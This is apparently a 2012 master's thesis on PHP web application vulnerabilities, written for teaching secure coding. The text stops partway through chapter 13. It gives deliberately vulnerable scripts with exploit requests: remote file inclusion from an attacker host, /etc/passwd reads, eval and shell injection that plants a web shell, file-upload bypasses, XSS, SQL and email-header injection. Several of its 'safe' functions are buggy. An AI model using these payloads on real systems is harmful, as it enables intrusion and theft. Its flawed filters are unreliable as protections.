security vulnerabilities in php applicatons

74
SECURITY VULNERABILITIES IN PHP APPLICATONS _______________ A Thesis Presented to the Faculty of San Diego State University _______________ In Partial Fulfillment of the Requirements for the Degree Master of Science in Computer Science _______________ by Mirza Mohammed Akram Baig Spring 2012

Upload: others

Post on 03-Feb-2022

9 views

Category:

Documents


0 download

TRANSCRIPT

SECURITY VULNERABILITIES IN PHP APPLICATONS

_______________

A Thesis

Presented to the

Faculty of

San Diego State University

_______________

In Partial Fulfillment

of the Requirements for the Degree

Master of Science

in

Computer Science

_______________

by

Mirza Mohammed Akram Baig

Spring 2012

iii

Copyright © 2012

by

Mirza Mohammed Akram Baig

All Rights Reserved

iv

DEDICATION

I want to dedicate this work to my parents for their continuous support and

motivation. To all my family and friends for being there at all times when I needed them

most.

v

ABSTRACT OF THE THESIS

Security Vulnerabilities in PHP Applications by

Mirza Mohammed Akram Baig Master of Science in Computer Science

San Diego State University, 2012

PHP is a general-purpose server-side scripting language for creating dynamic web pages. Most people grasp PHP syntax rather quickly and will within short time be able to produce a script that works using online tutorials, references & books. The problem is that most people forget the security aspect of PHP that one must consider when writing PHP applications. Presented are the most common PHP web application vulnerabilities & the necessary mechanisms required to write secure code by leveraging PHP’s unique features. Also mentioned are the common programming mistakes done by developers when building PHP web applications & necessary means to protect against such vulnerabilities.

vi

TABLE OF CONTENTS

PAGE

ABSTRACT ...............................................................................................................................v

LIST OF FIGURES ............................................................................................................... viii

ACKNOWLEDGEMENTS ..................................................................................................... ix

CHAPTER

1 INTRODUCTION .........................................................................................................1 

2 REMOTE FILE INCLUSION .......................................................................................2 

3 LOCAL FILE INCLUSION ..........................................................................................5 

4 COPY FUNCTION BYPASS .......................................................................................8 

5 PATHINFO FUNCTION BYPASS ............................................................................10 

6 STRIP TAGS FUNCTION BYPASS ..........................................................................13 

7 EVAL INJECTION .....................................................................................................17 

8 MAGIC QUOTES .......................................................................................................20 

9 FILE UPLOAD VULNERABILITY ...........................................................................22 

10 COMMENT INJECTION ............................................................................................27 

10.1 Database Injection ..........................................................................................27 

10.2 Shell Injection ................................................................................................28 

10.3 HTML Injection .............................................................................................28 

11 SHELL INJECTION ....................................................................................................30 

12 EMAIL INJECTION ...................................................................................................36 

13 SEMANTIC URL ATTACK .......................................................................................38 

14 CROSS-SITE REQUEST FORGERY ........................................................................40 

15 FILE READ VULNERABILITY ................................................................................43 

16 FILE WRITE VULNERABILITY ..............................................................................45 

17 FULL PATH DISCLOSURE ......................................................................................48 

18 CROSS SITE SCRIPTING ..........................................................................................50 

19 SQL INJECTION.........................................................................................................54 

20 AUTHENTICATION BYPASS ..................................................................................59 

vii

21 SOURCE CODE EXPOSURE ....................................................................................61 

REFERENCES ........................................................................................................................63 

viii

LIST OF FIGURES

PAGE

Figure 2.1. Remote file inclusion attack. ...................................................................................3 

Figure 3.1. Local file inclusion attack. ......................................................................................6 

Figure 5.1. Pathinfo function. ..................................................................................................11 

Figure 5.2. Output of path_info_bypass.php with potential exploit given to the script. .........12 

Figure 6.1. Default output of strip_tags_attack.php. ...............................................................14 

Figure 6.2. Output of strip_tags_attack.php when mouse is moved towards the image. ........15 

Figure 7.1. Eval injection attack. .............................................................................................19 

Figure 9.1. File upload form. ...................................................................................................22 

Figure 9.2. File upload attack. .................................................................................................24 

Figure 11.1. Shell injection attack with information about the processes currently on the server. .....................................................................................................................31 

Figure 11.2. Shell injection attack for creating PHP script......................................................32 

Figure 11.3. Shell injection attack with previously created evil.php. ......................................33 

Figure 12.1. Contact us form. ..................................................................................................36 

Figure 16.1. File write attack. ..................................................................................................46 

Figure 17.1. Full path disclosure..............................................................................................49 

Figure 18.1. High level view of XSS attack. ...........................................................................51 

Figure18.2. XSS attack. ...........................................................................................................52 

Figure 19.1. HTML login form. ...............................................................................................54 

Figure 19.2. HTML login form with malicious input. .............................................................56 

Figure 19.3. Default output login.php. .....................................................................................57 

ix

ACKNOWLEDGEMENTS

I am heartily thankful to Professor Alan Riggins for all his continuous advice,

encouragement, and guidance at all times. I am also grateful to Dr. Joseph Lewis and

Professor Arnold Villone for being on my committee and for trusting me with this project

and providing their kind support and co-operation throughout the project.

1

CHAPTER 1

INTRODUCTION

If you spend more on coffee than on Web application security, you will be hacked. What's more, you deserve to be hacked.

–Richard Clarke

Writing PHP applications is pretty easy. Most people grasp the syntax rather quickly

and will within short time be able to produce a script that works using tutorials, references &

books [1]. The problem is that most people forget one of the most important aspects that one

must consider when writing PHP applications. Many beginners forget the security aspect of

PHP. Generally, your users are nice people, they will do as they are told and you will have no

problem with these people whatsoever [1]. However, some people are not quite as nice.

Some people are outright malicious and are seeking to do damage on your website. They will

scrutinize your application for security flaws and exploit these holes. Many times the

beginner programmer did not know that these things would even be a problem and therefore

it might be a problem to fix the holes [1].

The purpose of this study is to identify common PHP web application vulnerabilities

& the necessary mechanisms to write secure code by leveraging PHP’s unique features. As

some people learn best by example, I use example vulnerable code and show exploitation of

vulnerabilities in PHP applications. Real world examples of vulnerabilities in PHP software

are also shown to educate the reader. Lastly, it should be noted that examples in this project

are intended to teach basics and is not necessarily a reflection of real world exploitation.

2

CHAPTER 2

REMOTE FILE INCLUSION

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites.

It allows an attacker to include a remote file, usually through a script on the server [2]. In

PHP the main cause is due to the use of include and require statements. File inclusion is

mainly utilized for packaging common code into separate files that are later referenced by

main application modules. When a web application references an include file, the code in this

file may be executed implicitly or explicitly by calling specific procedures [3].

The key to success of an RFI attack is that the hacker must be able to send the URL

of the remote file into your script, disguised as innocent data [4]. In order to make RFI

successful, hacker just have to do is find/guess the variables by which a script accepts

incoming data, make note of the variable names and then start sending ordinary requests to

the script of the type it normally expects, but with one difference: the values of the variables

it sends are all the URL of the remote script they want your script to execute [4].

An attacker can use RFI for [2]:

Code execution on the web server.

Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).

Denial of Service (DoS).

Data Theft/Manipulation.

Consider the following PHP script (rfi.php) which takes user input using GET method

& includes it:

<?php

$sample=$_GET['variable_1'];

include $sample;

?>

Now consider the following GET request:

http://localhost:8888/hello.php?variable_1=http://evilsite.com/Evilscript.

txt

Suppose the Evilscript.txt contains following code:

3

<?php

$output = shell_exec('ls -lart');

echo "<pre>$output</pre>";

?>

Above GET request will execute shell command contained in Evilscript.txt and print

list of sorted files by time modified along with encountered subdirectories. Following output

(Figure 2.1) will show to the attacker:

Figure 2.1. Remote file inclusion attack.

The solution to this problem is to always filter input string for http://, https:// or

ftp://remote files. Consider a function called filter_rfi(), which will remove (RFI)

vulnerabilities:

function filter_rfi($str)

{

$order = array("http://", "https://", "ftp://");//RFI Array

$replace = '';

4

$newstr = str_replace($order, $replace, $str);

$newstr = str_replace(chr(0), '', $newstr);

$newstr = str_replace(chr(63), '', $newstr);

return $newstr;

}

5

CHAPTER 3

LOCAL FILE INCLUSION

Local File Inclusion (LFI) is the process of including files on a server through the

web browser. Local File Inclusion attack consists of exploiting a non-protected script on the

server to read the content of another file that is not initially permitted by the application [5].

This vulnerability occurs when a page include is not properly sanitized, and allows directory

traversal characters to be injected [6].

A directory traversal (or path traversal) consists in exploiting insufficient security

validation or sanitization of user-supplied input file names, so that characters representing

"traverse to parent directory" are passed through to the file APIs [7].

The goal of this attack is to order an application to access a computer file that is not

intended to be accessible [7]. Consider a PHP script (lfi.php) vulnerable to LFI is as follows:

<?php

$file = $_GET['page'];

if(isset($file))

{

include("pages/$file");

}

else

{

include("index.php");

}

?>

A legitimate request made to the script could look like this:

http://localhost:8888/lfi.php?page=help.php

Now suppose an attacker enters following GET request:

http://localhost:8888/lfi.php?page=../../../etc/passwd

An error message pops up stating no such file or directory exists:

Warning: include(../../../etc/passwd) [function.include]: failed to open

stream: No such file or directory in C:\wamp\www\lfi.php on line 3

Further if the attacker goes more directories up by making following GET request:

6

http://localhost:8888/lfi.php?page=../../../../../../../../../etc/passwd

If the application is vulnerable to LFI then result of above GET request will be

complete user information in that server with paths & following output (Figure 3.1) will be

displayed in the browser:

Figure 3.1. Local file inclusion attack.

Let’s update the above php script by filtering input data to protect against simplest

LFI attacks accordingly:

<?php

$file = str_replace('../', ' ', $_GET['page']);

if(isset($file))

{

include("pages/$file");

}

else

{

include("index.php");

}

?>

7

Now, if an attacker tries to inject previous GET request then LFI attack will no longer

work. If you think LFI attacks can no longer takes place then ‘think again my friend’. In

order to evade the filters an attacker might encode one or more characters into hexadecimal.

This works because the browser decodes the input, but PHP does not. Attackers new LFI

with hexadecimal characters would look like:

http://localhost:8888/lfi.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd

In order to prevent Local File Inclusion (LFI) attacks, first we need to detect the

directory traversal attack & take the necessary actions. Consider detect_directory_traversal

function which will return true if directory traversal attack is detected otherwise valid path

entered by the user.

PHP code detect_directory_traversal:

function detect_directory_traversal($userpath)

{

$detect = false;

$realUserPath = realpath($userpath);

if ($realUserPath === false)

{

$detect = true; //Directory Traversal Detected

}

else

{

$detect = $realUserPath; //Good path

}

return $detect;

}

8

CHAPTER 4

COPY FUNCTION BYPASS

Copy function copies a file. This function returns TRUE on success and FALSE on

failure [8].

Syntax:

copy(source,destination)

Where: Source (Required): Specifies the file to copy Destination (Required): Specifies the file to copy to

Copy function suffers from null byte injection. Null Byte Injection is an active

exploitation technique used to bypass sanity checking filters in web infrastructure by adding

URL-encoded null byte characters (i.e. %00, or 0x00 in hex) to the user-supplied data. This

injection process can alter the intended logic of the application and allow malicious

adversary to get unauthorized access to the system files [9].

Consider a php script (copy.php) which takes file name as input from the user & then

copies given file onto destination.

<?php

$source = $_GET['file'];

$destination = 'backup.txt ';

if (copy($source, $destination))

{

echo "Sucessfully copied $source...\n";

}

else

{

echo "failed to copy $source...\n";

}

?>

Now consider the following GET request:

http://localhost:8888/copy.php?file= image.php%00.jpg

9

If above code is executed using copy () then instead of .jpg file .php script will be

copied & whenever the file is read then code in image.php gets executed.

The solution to this problem is to filter out null byte from the input string. Consider a

copy_file function which will copy the given file by removing null byte as shown below.

This function will also return TRUE on success and FALSE on failure.

PHP code copy_file:

function copy_file($source_file,$target_file)

{

$newstr = str_replace(chr(0), '', $source_file); // NULL BYTE

$result = copy("$newstr","$target_file");

return $result;

}

10

CHAPTER 5

PATHINFO FUNCTION BYPASS

The pathinfo() built-in PHP function returns information about a file path & is often

used by developers to identify the types of files being specified in URLs. Pathinfo will do

simple parsing of path and filenames and present an array of useful attributes such as the base

name of the file specified or the file extension of the file specified [10]. Consider a following

php pathinfo example (path_info.php)

<?php

$path_parts = pathinfo('/www/htdocs/index.html');

echo “PATHINFO_DIRNAME:” . $path_parts['dirname'] . "\n";

echo “PATHINFO_BASENAME:” . $path_parts['basename'] . "\n";

echo “PATHINFO_EXTENSION:” . $path_parts['extension'] . "\n";

echo “PATHINFO_FILENAME:” . $path_parts['filename'] . "\n";

?>

This produces following output (Figure 5.1).

As you can see this is very useful for identifying the types of files that are being

requested. However, in many cases programmers will use this information as authoritative,

relying in pathinfo() to report accurately. Pathinfo's parsing can be easily bypassed by using

the age old trick of appending extra dots and extensions to the filename [10].

Now let’s consider an example of vulnerable php script(path_info_bypass.php) like:

<?php $fname = pathinfo($_GET['file']); if ($fname['extension'] == 'jpg') { echo "Result: Valid Image(.jpg) file <br>"; echo "Extension:" . " " . $fname['extension'] . "<br>"; echo "File Name:" . " " . $_GET['file']; } else { echo "Invalid Image(.jpg) file <br>"; } ?>

11

Figure 5.1. Pathinfo function.

If an attacker makes following GET request:

http://localhost:8888/ path_info_bypass.php?file=image.php.jpg

If statement will get satisfied & following browser output (Figure 5.2) will be shown.

From the browser output it is clear that this can be an extremely dangerous

vulnerability because a developer using this style of code might think that he had

successfully limited files by including only files with image extensions but in fact attackers

can bypass the filter and cause arbitrary file inclusion [10].

In order to prevent such vulnerability a developer can create a function like

get_file_extension which can detect multiple extensions in the input string & returns true if

multiple extensions are detected else will return extension if the input string has valid

extension.

12

Figure 5.2. Output of path_info_bypass.php with potential exploit given to the script.

PHP code get_file_extension:

function get_file_extension($string = '')

{

$pieces = explode(".", $string);

$count = count($pieces);

if($count>2)

{

$extension = false;

}

else

{

$extension = $pieces[1];

}

return $extension;

}

13

CHAPTER 6

STRIP TAGS FUNCTION BYPASS

As the name suggests php built-in strip_tags function is used to strip HTML and PHP

tags from a string. Consider the following php code:

<?php

echo strip_tags("Hello <b>world!</b>");

?>

The output of the code above will be:

Hello world!

Strip_tags function also takes an optional second parameter which is a string of

permitted tags which can be well explained in below example:

<?php

$text = '<p>Test paragraph.</p><b>Test

bold</b><a href="http://example.com">Other text</a>';

// Allow <p> and <a> tags

echo strip_tags($text, '<p><a>');

?>

Now the Output is:

<p>Test paragraph.</p>Test bold<a href http://example.com">Other text</a>

According to strip_tags if a tag is permitted, then all possible attributes of it are also

permitted which may lead to serious vulnerability which an attacker can easily exploit.

Consider an example of php script(strip_tags_attack.php) like:

<?php

$malicious = <<<EOSTR

This is a malicious string with a picture in it:

<img src="http://opatija.sdsu.edu/~akram/php.png"

14

onMouseOver="alert('OOPS! XSS Attack')"/>

EOSTR;

$my_string = strip_tags($malicious, '<img>');

echo $my_string;

?>

Above php script will produce following browser output (Figure 6.1).

Figure 6.1. Default output of strip_tags_attack.php.

But when the mouse courser is moved over the image, an alert box with a message

pops up. Since image tag is allowed all attributes related to it are also allowed, which may

lead to serious vulnerabilities such as cross site scripting (XSS) as shown in below browser

output (Figure 6.2).

The solution to this problem is to prevent interpretation of all attributes of a permitted

tag. Consider strip_tags_attributes function which will prevent above vulnerability by not

allowing standard HTML event attributes.

15

Figure 6.2. Output of strip_tags_attack.php when mouse is moved towards the image.

PHP code strip_tags_attributes:

function strip_tags_attributes($String, $AllowedTags = '')

{

$disable=array('onabort', 'onactivate', 'onafterprint', 'onafterupdate',

'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate',

'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload',

'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange',

'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut',

'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick',

'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter',

'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror',

'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin',

'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup',

'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown',

'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover',

'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart',

'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset',

16

'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete',

'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange',

'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

$str = strtolower($String);

$filter_1 = strip_tags($str, $AllowedTags);

$replace = '';

$filter_2 = str_replace($disable, $replace, $filter_1);

return $filter_2;

}

Now if the attacker tries to insert JavaScript attributes into the string then the attack

will fail.

17

CHAPTER 7

EVAL INJECTION

The eval() function evaluates a string as PHP code. This function returns NULL

unless a return statement is called in the code string. Then the value passed to return is

returned. If there is a parse error in the code string, eval() returns FALSE [11].

Consider a simple example of eval():

<?php

$animal = "fox";

$color = "brown";

$str = 'A lazy $animal jumps over a $color fence!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

The output of above code will be:

A lazy $animal jumps over a $color fence!

A lazy fox jumps over a brown fence!

Since eval function evaluates a string as PHP code it should be noted that eval don’t

like any opening <?php or ending <? tag within the string which it is going to be evaluated.

Now for example, have a look at this code:

<?php

echo '<p>Hello there</p>';

eval( '<?php echo "<p>I am supposed to get printed after evaluation</p>";

?>' );

echo '<p>And I am a normal echo</p>';

?>

If the above code is executed it will throw a Parse Error as shown below:

18

Parse error: syntax error, unexpected '<' in C:\wamp\www\eval_check.php(5)

: eval()'d code on line 1

So how is eval function vulnerable? In eval($code_string), eval evaluates given

code_string variable as PHP code. Imagine a form consisting of username input field

value using eval($_POST['username']), if the hacker type the following value in the input

field:

mail("[email protected]", "Passwords", '/bin/cat/etc/passwd')

The script will be sending server’s password to the hacker. Now let’s consider a real

world example of php script(eval.php):

<?php

$admin = "akram";

$new = $_GET['name'];

eval('$admin = '. $new .';');

?>

Since the argument of eval will be processed as php code, an attacker can append

additional commands. For example if the attacker enters following GET request:

http://localhost:8888/eval.php?name=mike;system('find . -print | sed -e

\'s;[^/]*/;|____;g;s;____|; |;g'');

Additional code is run which executes a system command on the server, resulting in

contents of directories in a tree-like format shown in below browser output (Figure 7.1).

To prevent eval injection care full filtering of user input should be carried out.

Consider a function called safe_eval which will parse/sanitize input string for any eval

injections before giving the input string as argument to eval function.

PHP code safe_eval:

function safe_eval($string)

{

$new_line = chr(10);

if(strpos($string,$new_line))

{

exit("$string contains eval injection");

}

$meta_characters = array('$','{','}','[',']','`',';');

$encode = array('&#36','&#123','&#125','&#91','&#93','&#96','&#59');

19

Figure 7.1. Eval injection attack.

$output = addslashes($string);

$out = str_replace($meta_characters,$encode,$output);

return $output;

}

Above function will first check whether the user input contains a newline character, if

it does then function will immediately exit with a message [12]. Otherwise, applying ASCII

encoding to PHP meta-characters found in the input string and returning output string to be

used as argument in eval function.

20

CHAPTER 8

MAGIC QUOTES

Magic Quotes were created by the PHP developers to help protect newbie

programmers from writing bad form processing code by adding some default security into

PHP. When turned on, Magic Quotes automatically performs an addslashes function on all

form data submitted. This means that a backlash [\] is placed before every ['], ["], [\], or null

character in the data. So a String: That’s Great would be converted to That\'s Great

automatically.

This all happens before you’re coding even sees that data, so if you're just passing a

string to the next page (and not to a database) it will print out with slashes even though you

may not want them. This is the first problem.

The second is that that they pose a portability nightmare. Some hosts have magic

quotes setting on, while others don't; if you're writing a script that's going to be used on

multiple systems, you need to check whether magic quotes is turned on and act appropriately

[13].

If this functionality is turned on, which means that all GPC data coming into the

script is safe for database entry but at the same time same data is not destined for database.

For example consider PHP code given below:

<?php

$lastname = $_POST['lastname']; // O\'Connor

// If using MySQL

$sql = "INSERT INTO REDIDS (lastname) VALUES ('$lastname')";

?>

Now suppose magic_quotes are on & user provides lastname as “O’Connor”. If the

above SQL statement is executed then instead of “O’Connor”, “O\’Connor” will be inserted

into REDIDS table. This might create serious issues if same data is being used for validation

purpose.

21

In order to prevent avoid this functionality. One might check if the setting is turned

on and, if it isn't, add magic quotes using the add_magic_quotes function [13]:

function add_magic_quotes($array) {

foreach ($array as $i => $j) {

if (is_array($v)) {

$array[$i] = add_magic_quotes($j);

} else {

$array[$i] = addslashes($j);

}

}

return $array;

}

In-order to use the above function, first check whether magic_quotes_gpc setting is

turned on/off using code given below:

if (!get_magic_quotes_gpc()) {

$_GET = add_magic_quotes($_GET);

$_POST = add_magic_quotes($_POST);

$_COOKIE = add_magic_quotes($_COOKIE);

}

Alternatively, you can do the opposite, and remove the slashes if magic quotes are

turned on using the remove_magic_quotes function [13]:

function remove_magic_quotes($array) {

foreach ($array as $i => $j) {

if (is_array($j)) {

$array[$i] = remove_magic_quotes($j);

} else {

$array[$i] = stripslashes($j);

}

}

return $array;

}

22

CHAPTER 9

FILE UPLOAD VULNERABILITY

Various web applications allows user to upload pictures, pdf, videos, avatars etc. A

simple file upload form usually consists of a HTML form and a PHP script [14]. The HTML

form, is the form presented to the user, while the PHP script contains server side code that

takes care of the file upload.

File Upload vulnerabilities are generally found in file upload scripts that do not do

sufficient checking of what file(s) are being uploaded and stored on the server [15]. For

example consider a naive implementation of file upload that do not check the file extension

of the file being uploaded, which may lead to execution of malicious code on server.

Consider HTML Form shown in Figure 9.1.

Figure 9.1. File upload form.

23

HTML code for above form is as follows:

<form enctype="multipart/form-data" action="upload.php" method="POST">

<input type="hidden" name="MAX_FILE_SIZE" value="100000" />

Choose a file to upload: <input name="uploadedfile" type="file" /><br />

<input type="submit" value="Upload File" />

</form>

Now consider upload.php script which takes input from above html form & perform

the upload operation onto the server.

<?php

$target_path = "uploads/";

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path))

{

echo "The file ". basename( $_FILES['uploadedfile']['name']).

" has been uploaded";

}

else{

echo "There was an error uploading the file, please try again!";

}

?>

This implementation suffers from a major security hole. Script upload.php allows

users to upload arbitrary files to ‘uploads’ directory under the web root [16]. A malicious

user can upload a PHP file, such as a PHP shell and execute arbitrary commands on the

server with the privilege of the web server process [16].

Now if the attacker tries to upload phpinfo.php

<?php

phpinfo();

?>

It will be uploaded easily into uploads directory & if the attacker enters following

request then all the information about the server will be exposed to the attacker as shown in

Figure 9.2

Now let’s try to modify the upload php script to include some basic security:

<?php

$filename = $_FILES['uploadedfile']['name'];

24

Figure 9.2. File upload attack.

$filenameinfo = pathinfo($filename);

$file_exten = $filenameinfo['extension'];

if (($file_exten == 'jpg') || ($file_exten == 'jpeg') || ($file_exten ==

'gif'))

{

$target_path = "uploads/";

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path))

{

echo "The file ". basename( $_FILES['uploadedfile']['name']).

" has been uploaded";

}

else{

echo "There was an error uploading the file, please try again!";

25

}

}

else

{

echo "Please upload valid image file";

}

?>

Above php script will check for extension in order to validate the file. Now if the

attacker tries to upload the phpinfo.php then it will fail stating ‘Please upload valid image

file’. Further to bypass the validation filters an attacker might put php code into the image

file simply by using command line:

echo '<?php phpinfo(); ?> '> phphome.jpg

Now if the attacker tries to upload phphome.jpg it will be uploaded successfully. In

order to prevent this problem let’s modify the upload php script to include content type

verification:

<?php

if($_FILES[' uploadedfile ']['type'] != "image/gif")

{

echo "Please upload only GIF image files";

}

else

{

$uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['

uploadedfile ']['name']);

if (move_uploaded_file($_FILES[' uploadedfile ']['tmp_name'],

$uploadfile))

{

echo "File is valid, and was successfully uploaded.\n";

}

}

?>

Now if the attacker tries to upload arbitrary files other that GIF files, the application

will check the MIME type in the upload request and refuse to upload the file.

26

Unfortunately, there is a way for the attacker to bypass this protection. What the

application checks is the value of the Content-type header [16]. In the request above it is set

to "text/plain". However, nothing stops the attacker from setting it to "image/gif". Which

means a file can be a proper GIF or JPEG image & at the same time valid php script. After

all, the attacker completely controls the request that is being sent [16]. Consider

fakemime.jpg script below:

<?php

header('Content-Type: image/jpeg');

header('Content-Type: text/html');

$output = system('help');

echo $output;

?>

Above uploading fakemime.jpg script changes the Content-type header value to

image/gif, which makes upload2.php happily accept & execute the file [16].

Following guidelines should be followed in order to secure the use of file uploads:

Store uploaded files outside of the document root. For instance, files should be uploaded to directories that exist outside of the application path. This means that the file can still be read by the web server, but can never be directly called by an attacker via a specific URL [17].

Use multiple levels of security to verify if authentic file is being uploaded to the server. This means using basic validation along with content type verification, limiting the size of file, using modified version of path_info function mention in path_info vulnerability chapter.

Careful control over the display of these files should be utilized. For instance, when displaying a file the developer can call the file by calling a separate PHP file that renders the file with code such as [17]:

<?php

header('Content-Type: text/plain');

header("Content-Disposition: inline; filename=\"$file_name\"");

echo $file;

?>

This PHP code will display PHP code but will not run. Similarly displaying images

can be controlled by specifying 'Content-Type' declarations when the images are displayed as

shown in above example [17].

27

CHAPTER 10

COMMENT INJECTION

Comment injection vulnerability is caused due to comments injected into a web

application form as inputs which may lead to compromise a system. As input data is parsed,

an injected comment may cause the program to take unexpected actions that may result in an

attack. Comment injection attack may lead to database compromise, shell injection & even

html injection. Let’s consider each attack one by one.

10.1 DATABASE INJECTION

If the attacker has the ability to manipulate queries which are sent to the database,

then he's able to inject a terminating character too [18]. Consider a php script (database.php)

which takes input from user and retrieves information from the database as follows:

<?php $ID = $_GET['id']; $connect = mysql_connect("localhost","akram","abc123"); if (!$connect) { die('Could not connect: ' . mysql_error()); } mysql_select_db("my_db", $connect); $result = mysql_query("SELECT fname FROM persons WHERE id = $ID limit 1;"); $row = mysql_fetch_array($result) or die(mysql_error()); echo $result; mysql_close($connect); ?> Let's assume that the attacker has sent via the GET method the following data stored

in variable $ID:

http://localhost:8888/database.php?id= 1 or 1=1; #

The impact of above GET request is that the interpretation of the query will be

stopped at the terminating character. In the end the final query form is:

SELECT fname FROM persons WHERE id = 1 or 1=1; # limit 1;

After the # character everything will be discarded by the database including "limit 1",

so only the last column "fname" with all its records will be received as a query response.

28

10.2 SHELL INJECTION

Shell (bash) also has the character #, which terminates interpretation [18]. For

example consider php script (find.php):

<?php $find = $_GET['who]; system("/usr/bin/find -name '$find' -type f"); ?> Now suppose an attacker enters following GET request:

http://localhost:8888/fine.php?who=*'%20%23

The command:

/usr/bin/find -name '*' -type f

Will become:

/usr/bin/find -name '*' #-type f

So the final form of the command is:

/usr/bin/find -name '*'

10.3 HTML INJECTION

Suppose there is a comment page on a web application & if there are no restrictions

about who is able to insert comments, then using the start comment tag(<!--). It is possible to

comment out the rest of displayed content on the website.

PHP script comment.php [18]:

<?php print "hello!: "; print $_GET['user_name']; print " Welcome friend!"; ?> Now if the attacker enters following GET request:

http://localhost:8888/comment.php?user_name=<!--

The result will be:

hello!:

In order to prevent comment injection attacks, best solution is to filter out php & html

comments from the user input string using below custom made function (sanitize_comments)

like:

function sanitize_comments($text)

{

$text = urldecode($text);

29

$result = str_replace(array("/*", "*/", "#", "//", "<!--", "-->", ""), '',

$text);

return $result;

}

30

CHAPTER 11

SHELL INJECTION

Shell injection, also known as command injection is one of the most critical

vulnerability, which allows an attacker to execute unwanted system commands and gain

unauthorized access to user’s information [19]. An OS command injection attack occurs

when an attacker attempts to execute system level commands through a vulnerable

application [20].

To understand how most shell injection attack works consider a php script which

takes input from a user & test the reachability of a host on an Internet Protocol (IP) network.

<?php

$query = "ping -c 4 " . $_GET['domain'];

$output = shell_exec($query);

echo "<pre>$output<pre>";

?>

Now suppose an attacker makes the following GET request:

http://localhost:8888/test.php?domain= yahoo|ps -ax

In the above url “|” or “&” is used to append other commands onto the one being

executed at once. Similarly back ticks ` ` are used in order to encapsulate commands to be

evaluated and then output [15]. Output of above requested is the list of all process

information on the server as shown in Figure 11.1.

Once the attacker finds out that a php application is vulnerable to shell injection, he

might enter following GET request:

http://localhost:8888/test.php?domain= yahoo|echo “<?php echo

system(\$_GET[‘cmd’]); ?>” > evil.php

Above request will create a php script called evil.php with system shell command in

it as shown in browser output (Figure 11.2).

Now the attacker can execute system level commands & gain unauthorized access to

user’s information using evil.php script as shown in below browser output (Figure 11.3).

31

Figure 11.1. Shell injection attack with information about the processes currently on the server.

32

Figure 11.2. Shell injection attack for creating PHP script.

33

Figure 11.3. Shell injection attack with previously created evil.php.

34

PHP offers several ways to execute external programs and commands via the system

shell [15]. Examples of such function are:

exec()

passthru()

backticks operator (`)

system()

popen()

In order to prevent from shell injection consider shell_safe() function which will

make the user input safe for executing in shell commands.

PHP code safe_shell:

function safe_shell()

{

$numargs = func_num_args();

$command = func_get_arg(0);

if($numargs = 1)

{

$escaped_command = escapeshellcmd($command);

}

elseif($numargs > 1)

{

$arg_list = func_get_args();

for ($i = 1; $i < $numargs; $i++)

{

$command .= escapeshellarg($arg_list[$i]);

}

$escaped_command = $command;

}

return $escaped_command;

}

To use above function, a user can give following sytax:

1. safe_shell($command)

Example:

$arg1 = $POST['arg'];

$cmd = "/usr/bin/os -c $arg1";

$command = safe_shell($cmd);

35

$result= shell_exec($command);

2. safe_shell($command,$arg1)

Example:

$cmd = '/usr/bin/os -c';

$arg1 = $POST['arg'];

$command = safe_shell($cmd,$arg1);

$result= shell_exec($command);

3. safe_shell($command,$arg1,$arg2,...,$argn)

Example same as above.

36

CHAPTER 12

EMAIL INJECTION

Nowadays, most of the websites contains contact us form in order for the public to

communicate with the company instead of posting their webmaster’s email addresses.

Consider a simple contact us form (Figure 12.1) consist of a user information section (name,

company, email etc.), and a contact detail section (purpose for contact, subject, and

description) as shown below [21]:

Figure 12.1. Contact us form.

Once a contact us form is filled in by a user, all data entered in the email form is sent

to a php script. Which in turn calls on mail() function to deliver the email [22]. For example,

the code for such a script might look like the following:

mail($RECIPIENT,$SUBJECT,$MESSAGE,"From: $EMAIL");

Where:

$RECIPIENT: Webmaster’s email address (Generally hardcoded within script)

$SUBJECT: Subject of message.

$MESSAGE: Information to be sent.

$EMAIL: User’s email address.

37

If the script takes no effort in sanitizing the $SUBJECT, $EMAIL variables before

making a call to mail () function, it is possible for a spammer to inject additional headers into

the email messages by placing lines like the following into the $EMAIL variable [22]:

[email protected]

CC: [email protected],

[email protected], [email protected]

Now the PHP mail() function will include above string into the header of the email

message and pass it along to the mail transport agent, which in turns delivers the mail to

everyone on that list [22]. Thus your script has been hijacked to do the spammer's bidding.

In order to avoid spam caused by PHP mail() function, best solution is to filter user

given input before providing it to mail function.Consider a PHP function safe_mail() which

will removed above stated vulnerability.

PHP code safe_mail:

function safe_mail($to,$subject, $message, $headers = '')

{

$subject = urldecode($subject);

$subject = preg_replace("/([\r\n](.*))/", '', $subject);

$headers = urldecode($headers);

$header = preg_replace("/([\r\n](.*))/", '', $headers);

if (empty($headers))

{

$result = mail($to,$subject,$message);

}

else

{

$result = mail($to,$subject,$message,$headers);

}

if($result == TRUE)

{echo "Mail Sent.";}

else

{echo "Error Sending Mail.";}

}

38

CHAPTER 13

SEMANTIC URL ATTACK

In a Semantic URL attack, a client manually adjusts the parameters of its request by

maintaining the URL's syntax but altering its semantic meaning [23]. For example, if the user

clicks a link/button in a shopping cart application & arrives at:

